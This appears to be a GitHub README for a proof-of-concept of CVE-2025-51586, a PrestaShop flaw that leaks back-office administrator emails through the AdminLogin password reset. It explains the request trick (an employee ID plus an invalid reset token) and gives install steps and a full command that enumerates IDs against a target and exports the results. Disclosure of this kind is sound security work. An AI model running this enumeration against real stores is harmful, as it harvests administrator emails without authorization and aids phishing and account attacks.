
PrestaShop AdminLogin Email Enumeration PoC - CVE-2025-51586. This repository provides an ethical Proof-of-Concept (PoC) for the PrestaShop vulnerability allowing user enumeration through the AdminLogin password reset mechanism. It explains the impact, setup, and usage of the PoC script.
このリポジトリには、脆弱性 CVE-2025-51586 に対する倫理的な Proof-of-Concept (PoC) が含まれており、影響を受けるのは PrestaShop バージョン 1.7.x — 8.2.2 です。
この PoC は、バックオフィスのパスワードリセット機能(AdminLogin コントローラー)を介して管理者のメールアドレスを列挙します。
https://domain.tld/admin/index.php?controller=AdminLogin&reset=1)id_employee と無効な reset_token を指定します<input name="reset_email" value="[email protected]">公式アドバイザリ: Friends of Presta Security
Friends of Presta Security Team によって報告されました(アドバイザリ公開日: 2025年9月4日)。
この PoC は教育目的および許可を得たテスト専用です。 自分が所有するシステム、または明示的な許可があるシステムでのみ使用してください。作者および貢献者は誤用について責任を負いません。
リポジトリをクローンし、依存関係をインストールします:
git clone https://github.com/7h30th3r0n3/CVE-2025-51586-PrestaShop-PoC.git
cd CVE-2025-51586-PrestaShop-PoC
pip install requests beautifulsoup4 rich
python3 cve_2025_51586_enum.py \
-u "https://target/admin/index.php?controller=AdminLogin&reset=1" \
-s 1 -e 100 -m POST -t invalidtoken123 --delay 0.5 --timeout 10 --export results.csv
PoC は 7h30th3r0n3 によって開発されました。脆弱性は Friends of Presta Security Team によって発見されました。